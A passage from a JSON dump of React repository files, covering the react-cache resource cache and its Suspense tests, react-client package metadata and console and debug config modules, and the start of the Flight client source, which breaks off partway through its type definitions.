    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext, Thenable} from 'shared/ReactTypes';\n\nimport * as React from 'react';\n\nimport {createLRU} from './LRU';\n\ninterface Suspender {\n  then(resolve: () => mixed, reject: () => mixed): mixed;\n}\n\ntype PendingResult = {\n  status: 0,\n  value: Suspender,\n};\n\ntype ResolvedResult<V> = {\n  status: 1,\n  value: V,\n};\n\ntype RejectedResult = {\n  status: 2,\n  value: mixed,\n};\n\ntype Result<V> = PendingResult | ResolvedResult<V> | RejectedResult;\n\ntype Resource<I, V> = {\n  read(I): V,\n  preload(I): void,\n  ...\n};\n\nconst Pending = 0;\nconst Resolved = 1;\nconst Rejected = 2;\n\nconst SharedInternals =\n  React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\n\nfunction readContext(Context: ReactContext<mixed>) {\n  const dispatcher = SharedInternals.H;\n  if (dispatcher === null) {\n    // This wasn't being minified but we're going to retire this package anyway.\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'react-cache: read and preload may only be called from within a ' +\n        \"component's render. They are not supported in event handlers or \" +\n        'lifecycle methods.',\n    );\n  }\n  return dispatcher.readContext(Context);\n}\n\n// $FlowFixMe[missing-local-annot]\nfunction identityHashFn(input) {\n  if (__DEV__) {\n    if (\n      typeof input !== 'string' &&\n      typeof input !== 'number' &&\n      typeof input !== 'boolean' &&\n      input !== undefined &&\n      input !== null\n    ) {\n      console.error(\n        'Invalid key type. Expected a string, number, symbol, or boolean, ' +\n          'but instead received: %s' +\n          '\\n\\nTo use non-primitive values as keys, you must pass a hash ' +\n          'function as the second argument to createResource().',\n        input,\n      );\n    }\n  }\n  return input;\n}\n\nconst CACHE_LIMIT = 500;\nconst lru = createLRU<$FlowFixMe>(CACHE_LIMIT);\n\nconst entries: Map<Resource<any, any>, Map<any, any>> = new Map();\n\nconst CacheContext = React.createContext<mixed>(null);\n\nfunction accessResult<I, K, V>(\n  resource: any,\n  fetch: I => Thenable<V>,\n  input: I,\n  key: K,\n): Result<V> {\n  let entriesForResource = entries.get(resource);\n  if (entriesForResource === undefined) {\n    entriesForResource = new Map();\n    entries.set(resource, entriesForResource);\n  }\n  const entry = entriesForResource.get(key);\n  if (entry === undefined) {\n    const thenable = fetch(input);\n    thenable.then(\n      value => {\n        if (newResult.status === Pending) {\n          const resolvedResult: ResolvedResult<V> = (newResult: any);\n          resolvedResult.status = Resolved;\n          resolvedResult.value = value;\n        }\n      },\n      error => {\n        if (newResult.status === Pending) {\n          const rejectedResult: RejectedResult = (newResult: any);\n          rejectedResult.status = Rejected;\n          rejectedResult.value = error;\n        }\n      },\n    );\n    const newResult: PendingResult = {\n      status: Pending,\n      value: thenable,\n    };\n    const newEntry = lru.add(newResult, deleteEntry.bind(null, resource, key));\n    entriesForResource.set(key, newEntry);\n    return newResult;\n  } else {\n    return (lru.access(entry): any);\n  }\n}\n\nfunction deleteEntry(resource: any, key: mixed) {\n  const entriesForResource = entries.get(resource);\n  if (entriesForResource !== undefined) {\n    entriesForResource.delete(key);\n    if (entriesForResource.size === 0) {\n      entries.delete(resource);\n    }\n  }\n}\n\nexport function unstable_createResource<I, K: string | number, V>(\n  fetch: I => Thenable<V>,\n  maybeHashInput?: I => K,\n): Resource<I, V> {\n  const hashInput: I => K =\n    maybeHashInput !== undefined ? maybeHashInput : (identityHashFn: any);\n\n  const resource = {\n    read(input: I): V {\n      // react-cache currently doesn't rely on context, but it may in the\n      // future, so we read anyway to prevent access outside of render.\n      readContext(CacheContext);\n      const key = hashInput(input);\n      const result: Result<V> = accessResult(resource, fetch, input, key);\n      switch (result.status) {\n        case Pending: {\n          const suspender = result.value;\n          throw suspender;\n        }\n        case Resolved: {\n          const value = result.value;\n          return value;\n        }\n        case Rejected: {\n          const error = result.value;\n          throw error;\n        }\n        default:\n          // Should be unreachable\n          return (undefined: any);\n      }\n    },\n\n    preload(input: I): void {\n      // react-cache currently doesn't rely on context, but it may in the\n      // future, so we read anyway to prevent access outside of render.\n      readContext(CacheContext);\n      const key = hashInput(input);\n      accessResult(resource, fetch, input, key);\n    },\n  };\n  return resource;\n}\n\nexport function unstable_setGlobalCacheLimit(limit: number) {\n  lru.setLimit(limit);\n}\n"
  },
  {
    "path": "packages/react-cache/src/__tests__/ReactCacheOld-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet ReactCache;\nlet createResource;\nlet React;\nlet ReactNoop;\nlet Scheduler;\nlet Suspense;\nlet TextResource;\nlet textResourceShouldFail;\nlet waitForAll;\nlet waitForPaint;\nlet assertLog;\nlet waitForThrow;\nlet act;\nlet assertConsoleErrorDev;\n\ndescribe('ReactCache', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    Suspense = React.Suspense;\n    ReactCache = require('react-cache');\n    createResource = ReactCache.unstable_createResource;\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    assertLog = InternalTestUtils.assertLog;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;\n    act = InternalTestUtils.act;\n\n    TextResource = createResource(\n      ([text, ms = 0]) => {\n        let listeners = null;\n        let status = 'pending';\n        let value = null;\n        return {\n          then(resolve, reject) {\n            switch (status) {\n              case 'pending': {\n                if (listeners === null) {\n                  listeners = [{resolve, reject}];\n                  setTimeout(() => {\n                    if (textResourceShouldFail) {\n                      Scheduler.log(`Promise rejected [${text}]`);\n                      status = 'rejected';\n                      value = new Error('Failed to load: ' + text);\n                      listeners.forEach(listener => listener.reject(value));\n                    } else {\n                      Scheduler.log(`Promise resolved [${text}]`);\n                      status = 'resolved';\n                      value = text;\n                      listeners.forEach(listener => listener.resolve(value));\n                    }\n                  }, ms);\n                } else {\n                  listeners.push({resolve, reject});\n                }\n                break;\n              }\n              case 'resolved': {\n                resolve(value);\n                break;\n              }\n              case 'rejected': {\n                reject(value);\n                break;\n              }\n            }\n          },\n        };\n      },\n      ([text, ms]) => text,\n    );\n\n    textResourceShouldFail = false;\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return props.text;\n  }\n\n  function AsyncText(props) {\n    const text = props.text;\n    try {\n      TextResource.read([props.text, props.ms]);\n      Scheduler.log(text);\n      return text;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  it('throws a promise if the requested value is not in the cache', async () => {\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText ms={100} text=\"Hi\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n\n    await waitForAll([\n      'Suspend! [Hi]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Hi]',\n    ]);\n\n    jest.advanceTimersByTime(100);\n    assertLog(['Promise resolved [Hi]']);\n    await waitForAll(['Hi']);\n  });\n\n  it('throws an error on the subsequent read if the promise is rejected', async () => {\n    function App() {\n      return (\n        <Suspense fallback={<Text text=\"Loading...\" />}>\n          <AsyncText ms={100} text=\"Hi\" />\n        </Suspense>\n      );\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(<App />);\n\n    await waitForAll([\n      'Suspend! [Hi]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Hi]',\n    ]);\n\n    textResourceShouldFail = true;\n    let error;\n    try {\n      await act(() => jest.advanceTimersByTime(100));\n    } catch (e) {\n      error = e;\n    }\n    expect(error.message).toMatch('Failed to load: Hi');\n    assertLog(['Promise rejected [Hi]', 'Error! [Hi]', 'Error! [Hi]']);\n\n    // Should throw again on a subsequent read\n    root.render(<App />);\n    await waitForThrow('Failed to load: Hi');\n    assertLog(['Error! [Hi]', 'Error! [Hi]']);\n  });\n\n  it('warns if non-primitive key is passed to a resource without a hash function', async () => {\n    const BadTextResource = createResource(([text, ms = 0]) => {\n      return new Promise((resolve, reject) =>\n        setTimeout(() => {\n          resolve(text);\n        }, ms),\n      );\n    });\n\n    function App() {\n      Scheduler.log('App');\n      return BadTextResource.read(['Hi', 100]);\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <App />\n      </Suspense>,\n    );\n\n    if (__DEV__) {\n      await waitForAll([\n        'App',\n        'Loading...',\n        // pre-warming\n        'App',\n      ]);\n      assertConsoleErrorDev([\n        'Invalid key type. Expected a string, number, symbol, or ' +\n          \"boolean, but instead received: [ 'Hi', 100 ]\\n\\n\" +\n          'To use non-primitive values as keys, you must pass a hash ' +\n          'function as the second argument to createResource().\\n' +\n          '    in App (at **)',\n\n        // pre-warming\n        'Invalid key type. Expected a string, number, symbol, or ' +\n          \"boolean, but instead received: [ 'Hi', 100 ]\\n\\n\" +\n          'To use non-primitive values as keys, you must pass a hash ' +\n          'function as the second argument to createResource().\\n' +\n          '    in App (at **)',\n      ]);\n    } else {\n      await waitForAll([\n        'App',\n        'Loading...',\n        // pre-warming\n        'App',\n      ]);\n    }\n  });\n\n  it('evicts least recently used values', async () => {\n    ReactCache.unstable_setGlobalCacheLimit(3);\n\n    const root = ReactNoop.createRoot();\n    // Render 1, 2, and 3\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <AsyncText ms={100} text={1} />\n        <AsyncText ms={100} text={2} />\n        <AsyncText ms={100} text={3} />\n      </Suspense>,\n    );\n    await waitForPaint(['Suspend! [1]', 'Loading...']);\n    jest.advanceTimersByTime(100);\n    assertLog(['Promise resolved [1]']);\n    await waitForAll([\n      1,\n      'Suspend! [2]',\n      ...(gate('alwaysThrottleRetries')\n        ? []\n        : [1, 'Suspend! [2]', 'Suspend! [3]']),\n    ]);\n\n    jest.advanceTimersByTime(100);\n    assertLog([\n      'Promise resolved [2]',\n      ...(gate('alwaysThrottleRetries') ? [] : ['Promise resolved [3]']),\n    ]);\n    await waitForAll([\n      1,\n      2,\n      ...(gate('alwaysThrottleRetries') ? ['Suspend! [3]'] : [3]),\n    ]);\n\n    jest.advanceTimersByTime(100);\n    assertLog(gate('alwaysThrottleRetries') ? ['Promise resolved [3]'] : []);\n    await waitForAll(gate('alwaysThrottleRetries') ? [1, 2, 3] : []);\n\n    await act(() => jest.advanceTimersByTime(100));\n    expect(root).toMatchRenderedOutput('123');\n\n    // Render 1, 4, 5\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <AsyncText ms={100} text={1} />\n        <AsyncText ms={100} text={4} />\n        <AsyncText ms={100} text={5} />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      1,\n      'Suspend! [4]',\n      'Loading...',\n      1,\n      'Suspend! [4]',\n      'Suspend! [5]',\n    ]);\n\n    await act(() => jest.advanceTimersByTime(100));\n    assertLog(['Promise resolved [4]', 'Promise resolved [5]', 1, 4, 5]);\n\n    expect(root).toMatchRenderedOutput('145');\n\n    // We've now rendered values 1, 2, 3, 4, 5, over our limit of 3. The least\n    // recently used values are 2 and 3. They should have been evicted.\n\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <AsyncText ms={100} text={1} />\n        <AsyncText ms={100} text={2} />\n        <AsyncText ms={100} text={3} />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      // 1 is still cached\n      1,\n      // 2 and 3 suspend because they were evicted from the cache\n      'Suspend! [2]',\n      'Loading...',\n\n      1,\n      'Suspend! [2]',\n      'Suspend! [3]',\n    ]);\n\n    await act(() => jest.advanceTimersByTime(100));\n    assertLog(['Promise resolved [2]', 'Promise resolved [3]', 1, 2, 3]);\n    expect(root).toMatchRenderedOutput('123');\n  });\n\n  it('preloads during the render phase', async () => {\n    function App() {\n      TextResource.preload(['B', 1000]);\n      TextResource.read(['A', 1000]);\n      TextResource.read(['B', 1000]);\n      return <Text text=\"Result\" />;\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <App />\n      </Suspense>,\n    );\n\n    await waitForAll(['Loading...']);\n\n    await act(() => jest.advanceTimersByTime(1000));\n    assertLog(['Promise resolved [B]', 'Promise resolved [A]', 'Result']);\n    expect(root).toMatchRenderedOutput('Result');\n  });\n\n  it('if a thenable resolves multiple times, does not update the first cached value', async () => {\n    let resolveThenable;\n    const BadTextResource = createResource(\n      ([text, ms = 0]) => {\n        let listeners = null;\n        const value = null;\n        return {\n          then(resolve, reject) {\n            if (value !== null) {\n              resolve(value);\n            } else {\n              if (listeners === null) {\n                listeners = [resolve];\n                resolveThenable = v => {\n                  listeners.forEach(listener => listener(v));\n                };\n              } else {\n                listeners.push(resolve);\n              }\n            }\n          },\n        };\n      },\n      ([text, ms]) => text,\n    );\n\n    function BadAsyncText(props) {\n      const text = props.text;\n      try {\n        const actualText = BadTextResource.read([props.text, props.ms]);\n        Scheduler.log(actualText);\n        return actualText;\n      } catch (promise) {\n        if (typeof promise.then === 'function') {\n          Scheduler.log(`Suspend! [${text}]`);\n        } else {\n          Scheduler.log(`Error! [${text}]`);\n        }\n        throw promise;\n      }\n    }\n\n    const root = ReactNoop.createRoot();\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadAsyncText text=\"Hi\" />\n      </Suspense>,\n    );\n\n    await waitForAll([\n      'Suspend! [Hi]',\n      'Loading...',\n      // pre-warming\n      'Suspend! [Hi]',\n    ]);\n\n    resolveThenable('Hi');\n    // This thenable improperly resolves twice. We should not update the\n    // cached value.\n    resolveThenable('Hi muahahaha I am different');\n\n    root.render(\n      <Suspense fallback={<Text text=\"Loading...\" />}>\n        <BadAsyncText text=\"Hi\" />\n      </Suspense>,\n    );\n\n    assertLog([]);\n    await waitForAll(['Hi']);\n    expect(root).toMatchRenderedOutput('Hi');\n  });\n\n  it('throws if read is called outside render', () => {\n    expect(() => TextResource.read(['A', 1000])).toThrow(\n      \"read and preload may only be called from within a component's render\",\n    );\n  });\n\n  it('throws if preload is called outside render', () => {\n    expect(() => TextResource.preload(['A', 1000])).toThrow(\n      \"read and preload may only be called from within a component's render\",\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-client/README.md",
    "content": "# react-client\n\nThis is an experimental package for consuming custom React streaming models.\n\n**Its API is not as stable as that of React, React Native, or React DOM, and does not follow the common versioning scheme.**\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-client/flight.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport typeof * as FlightClientAPI from './src/ReactFlightClient';\nimport typeof * as HostConfig from './src/ReactFlightClientConfig';\n\nexport * from './src/ReactFlightClient';\n\n// At build time, this module is wrapped as a factory function ($$$reconciler).\n// Consumers pass a host config object and get back the Flight client API.\ndeclare export default (hostConfig: HostConfig) => FlightClientAPI;\n"
  },
  {
    "path": "packages/react-client/npm/flight.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-client-flight.production.js');\n} else {\n  module.exports = require('./cjs/react-client-flight.development.js');\n}\n"
  },
  {
    "path": "packages/react-client/package.json",
    "content": "{\n  \"name\": \"react-client\",\n  \"description\": \"React package for consuming streaming models.\",\n  \"version\": \"0.1.0\",\n  \"private\": true,\n  \"keywords\": [\n    \"react\"\n  ],\n  \"homepage\": \"https://react.dev/\",\n  \"bugs\": \"https://github.com/facebook/react/issues\",\n  \"license\": \"MIT\",\n  \"files\": [\n    \"LICENSE\",\n    \"README.md\",\n    \"flight.js\",\n    \"cjs/\"\n  ],\n  \"repository\": {\n    \"type\" : \"git\",\n    \"url\" : \"https://github.com/facebook/react.git\",\n    \"directory\": \"packages/react-client\"\n  },\n  \"engines\": {\n    \"node\": \">=0.10.0\"\n  },\n  \"peerDependencies\": {\n    \"react\": \"^17.0.0\"\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientConsoleConfigBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactServerConsoleConfig\nconst badgeFormat = '%c%s%c';\n// Same badge styling as DevTools.\nconst badgeStyle =\n  // We use a fixed background if light-dark is not supported, otherwise\n  // we use a transparent background.\n  'background: #e6e6e6;' +\n  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +\n  'color: #000000;' +\n  'color: light-dark(#000000, #ffffff);' +\n  'border-radius: 2px';\nconst resetStyle = '';\nconst pad = ' ';\n\nconst bind = Function.prototype.bind;\n\nexport function bindToConsole(\n  methodName: string,\n  args: Array<any>,\n  badgeName: string,\n): () => any {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // $FlowFixMe\n      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n\n  const newArgs = args.slice(0);\n  if (typeof newArgs[offset] === 'string') {\n    newArgs.splice(\n      offset,\n      1,\n      badgeFormat + ' ' + newArgs[offset],\n      badgeStyle,\n      pad + badgeName + pad,\n      resetStyle,\n    );\n  } else {\n    newArgs.splice(\n      offset,\n      0,\n      badgeFormat,\n      badgeStyle,\n      pad + badgeName + pad,\n      resetStyle,\n    );\n  }\n\n  // The \"this\" binding in the \"bind\";\n  newArgs.unshift(console);\n\n  // $FlowFixMe\n  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientConsoleConfigPlain.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactServerConsoleConfig\nconst badgeFormat = '[%s]';\nconst pad = ' ';\n\nconst bind = Function.prototype.bind;\n\nexport function bindToConsole(\n  methodName: string,\n  args: Array<any>,\n  badgeName: string,\n): () => any {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // $FlowFixMe\n      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n\n  const newArgs = args.slice(0);\n  if (typeof newArgs[offset] === 'string') {\n    newArgs.splice(\n      offset,\n      1,\n      badgeFormat + ' ' + newArgs[offset],\n      pad + badgeName + pad,\n    );\n  } else {\n    newArgs.splice(offset, 0, badgeFormat, pad + badgeName + pad);\n  }\n\n  // The \"this\" binding in the \"bind\";\n  newArgs.unshift(console);\n\n  // $FlowFixMe\n  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientConsoleConfigServer.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// Keep in sync with ReactServerConsoleConfig\n// This flips color using ANSI, then sets a color styling, then resets.\nconst badgeFormat = '\\x1b[0m\\x1b[7m%c%s\\x1b[0m%c';\n// Same badge styling as DevTools.\nconst badgeStyle =\n  // We use a fixed background if light-dark is not supported, otherwise\n  // we use a transparent background.\n  'background: #e6e6e6;' +\n  'background: light-dark(rgba(0,0,0,0.1), rgba(255,255,255,0.25));' +\n  'color: #000000;' +\n  'color: light-dark(#000000, #ffffff);' +\n  'border-radius: 2px';\nconst resetStyle = '';\nconst pad = ' ';\n\nconst bind = Function.prototype.bind;\n\nexport function bindToConsole(\n  methodName: string,\n  args: Array<any>,\n  badgeName: string,\n): () => any {\n  let offset = 0;\n  switch (methodName) {\n    case 'dir':\n    case 'dirxml':\n    case 'groupEnd':\n    case 'table': {\n      // These methods cannot be colorized because they don't take a formatting string.\n      // $FlowFixMe\n      return bind.apply(console[methodName], [console].concat(args)); // eslint-disable-line react-internal/no-production-logging\n    }\n    case 'assert': {\n      // assert takes formatting options as the second argument.\n      offset = 1;\n    }\n  }\n\n  const newArgs = args.slice(0);\n  if (typeof newArgs[offset] === 'string') {\n    newArgs.splice(\n      offset,\n      1,\n      badgeFormat + ' ' + newArgs[offset],\n      badgeStyle,\n      pad + badgeName + pad,\n      resetStyle,\n    );\n  } else {\n    newArgs.splice(\n      offset,\n      0,\n      badgeFormat,\n      badgeStyle,\n      pad + badgeName + pad,\n      resetStyle,\n    );\n  }\n\n  // The \"this\" binding in the \"bind\";\n  newArgs.unshift(console);\n\n  // $FlowFixMe\n  return bind.apply(console[methodName], newArgs); // eslint-disable-line react-internal/no-production-logging\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientDebugConfigBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nlet hasConfirmedEval = false;\nexport function checkEvalAvailabilityOnceDev(): void {\n  if (__DEV__) {\n    if (!hasConfirmedEval) {\n      hasConfirmedEval = true;\n      try {\n        // eslint-disable-next-line no-eval\n        (0, eval)('null');\n      } catch {\n        console.error(\n          'eval() is not supported in this environment. ' +\n            'If this page was served with a `Content-Security-Policy` header, ' +\n            'make sure that `unsafe-eval` is included. ' +\n            'React requires eval() in development mode for various debugging features ' +\n            'like reconstructing callstacks from a different environment.\\n' +\n            'React will never use eval() in production mode',\n        );\n      }\n    }\n  } else {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientDebugConfigNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nlet hasConfirmedEval = false;\nexport function checkEvalAvailabilityOnceDev(): void {\n  if (__DEV__) {\n    if (!hasConfirmedEval) {\n      hasConfirmedEval = true;\n      try {\n        // eslint-disable-next-line no-eval\n        (0, eval)('null');\n      } catch {\n        console.error(\n          'eval() is not supported in this environment. ' +\n            'This can happen if you started the Node.js process with --disallow-code-generation-from-strings, ' +\n            'or if `eval` was patched by other means. ' +\n            'React requires eval() in development mode for various debugging features ' +\n            'like reconstructing callstacks from a different environment.\\n' +\n            'React will never use eval() in production mode',\n        );\n      }\n    }\n  } else {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactClientDebugConfigPlain.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nlet hasConfirmedEval = false;\nexport function checkEvalAvailabilityOnceDev(): void {\n  if (__DEV__) {\n    if (!hasConfirmedEval) {\n      hasConfirmedEval = true;\n      try {\n        // eslint-disable-next-line no-eval\n        (0, eval)('null');\n      } catch {\n        console.error(\n          'eval() is not supported in this environment. ' +\n            'React requires eval() in development mode for various debugging features ' +\n            'like reconstructing callstacks from a different environment.\\n' +\n            'React will never use eval() in production mode',\n        );\n      }\n    }\n  } else {\n    // These errors should never make it into a build so we don't need to encode them in codes.json\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'checkEvalAvailabilityOnceDev should never be called in production mode. This is a bug in React.',\n    );\n  }\n}\n"
  },
  {
    "path": "packages/react-client/src/ReactFlightClient.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  JSONValue,\n  Thenable,\n  ReactDebugInfo,\n  ReactDebugInfoEntry,\n  ReactComponentInfo,\n  ReactAsyncInfo,\n  ReactIOInfo,\n  ReactStackTrace,\n  ReactFunctionLocation,\n  ReactErrorInfoDev,\n} from 'shared/ReactTypes';\nimport type {LazyComponent} from 'react/src/ReactLazy';\n\nimport type {\n  ClientReference,\n  ClientReferenceMetadata,\n  ServerConsumerModuleMap,\n  ServerManifest,\n  StringDecoder,\n  ModuleLoading,\n} from './ReactFlightClientConfig';\n\nimport type {\n  HintCode,\n  HintModel,\n} from 'react-server/src/ReactFlightServerConfig';\n\nimport type {\n  CallServerCallback,\n  EncodeFormActionCallback,\n} from './ReactFlightReplyClient';\n\nimport type {TemporaryReferenceSet} from './ReactFlightTemporaryReferences';\n\nimport {\n  enableProfilerTimer,\n  enableComponentPerformanceTrack,\n  enableAsyncDebugInfo,\n} from 'shared/ReactFeatureFlags';\n\nimport {\n  resolveClientReference,\n  resolveServerReference,\n  preloadModule,\n  requireModule,\n  getModuleDebugInfo,\n  dispatchHint,\n  readPartialStringChunk,\n  readFinalStringChunk,\n  createStringDecoder,\n  prepareDestinationForModule,\n  bindToConsole,\n  rendererVersion,\n  rendererPackageName,\n  checkEvalAvailabilityOnceDev,\n} from './ReactFlightClientConfig';\n\nimport {\n  createBoundServerReference,\n  registerBoundServerReference,\n} from './ReactFlightReplyClient';\n\nimport {readTemporaryReference} from './ReactFlightTemporaryReferences';\n\nimport {\n  markAllTracksInOrder,\n  logComponentRender,\n  logDedupedComponentRender,\n  logComponentAborted,\n  logComponentErrored,\n  logIOInfo,\n  logIOInfoErrored,\n  logComponentAwait,\n  logComponentAwaitAborted,\n  logComponentAwaitErrored,\n} from './ReactFlightPerformanceTrack';\n\nimport {\n  REACT_LAZY_TYPE,\n  REACT_ELEMENT_TYPE,\n  ASYNC_ITERATOR,\n  REACT_FRAGMENT_TYPE,\n} from 'shared/ReactSymbols';\n\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\n\nimport {getOwnerStackByComponentInfoInDev} from 'shared/ReactComponentInfoStack';\n\nimport hasOwnProperty from 'shared/hasOwnProperty';\n\nimport {injectInternals} from './ReactFlightClientDevToolsHook';\n\nimport {OMITTED_PROP_ERROR} from 'shared/ReactFlightPropertyAccess';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport isArray from 'shared/isArray';\n\nimport * as React from 'react';\n\nimport type {SharedStateServer} from 'react/src/ReactSharedInternalsServer';\nimport type {SharedStateClient} from 'react/src/ReactSharedInternalsClient';\n\n// TODO: This is an unfortunate hack. We shouldn't feature detect the internals\n// like this. It's just that for now we support the same build of the Flight\n// client both in the RSC environment, in the SSR environments as well as the\n// browser client. We should probably have a separate RSC build. This is DEV\n// only though.\nconst ReactSharedInteralsServer: void | SharedStateServer = (React: any)\n  .__SERVER_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE;\nconst ReactSharedInternals: SharedStateServer | SharedStateClient =\n  React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE ||\n  ReactSharedInteralsServer;\n\nexport type {CallServerCallback, EncodeFormActionCallback};\n\ninterface FlightStreamController {\n  enqueueValue(value: any): void;\n  enqueueModel(json: UninitializedModel): void;\n  close(json: UninitializedModel): void;\n  error(error: Error): void;\n}\n\ntype UninitializedModel = string;\n\ntype ProfilingResult = {\n  track: number,\n  endTime: number,\n  component: null | ReactComponentInfo,\n};\n\nconst ROW_ID = 0;\nconst ROW_TAG = 1;\nconst ROW_LENGTH = 2;\nconst ROW_CHUNK_BY_NEWLINE = 3;\nconst ROW_CHUNK_BY_LENGTH = 4;\n\ntype RowParserState = 0 | 1 | 2 | 3 | 4;\n\nconst PENDING = 'pending';\nconst BLOCKED = 'blocked';\nconst RESOLVED_MODEL = 'resolved_model';\nconst RESOLVED_MODULE = 'resolved_module';\nconst INITIALIZED = 'fulfilled';\nconst ERRORED = 'rejected';\nconst HALTED = 'halted'; // DEV-only. Means it never resolves even if connection closes.\n\nconst __PROTO__ = '__proto__';\n\ntype PendingChunk<T> = {\n  status: 'pending',\n  value: null | Array<InitializationReference | (T => mixed)>,\n  reason: null | Array<InitializationReference | (mixed => mixed)>,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  _debugChunk: null | SomeChunk<ReactDebugInfoEntry>, // DEV-only\n  _debugInfo: ReactDebugInfo, // DEV-only\n  then(resolve: (T) => mixed, reject?: (mixed) => mixed): void,\n};\ntype BlockedChunk<T> = {\n  status: 'blocked',\n  value: null | Array<InitializationReference | (T => mixed)>,\n  reason: null | Array<InitializationReference | (mixed => mixed)>,\n  _children: Array<SomeChunk<any>> | ProfilingResult, // Profiling-only\n  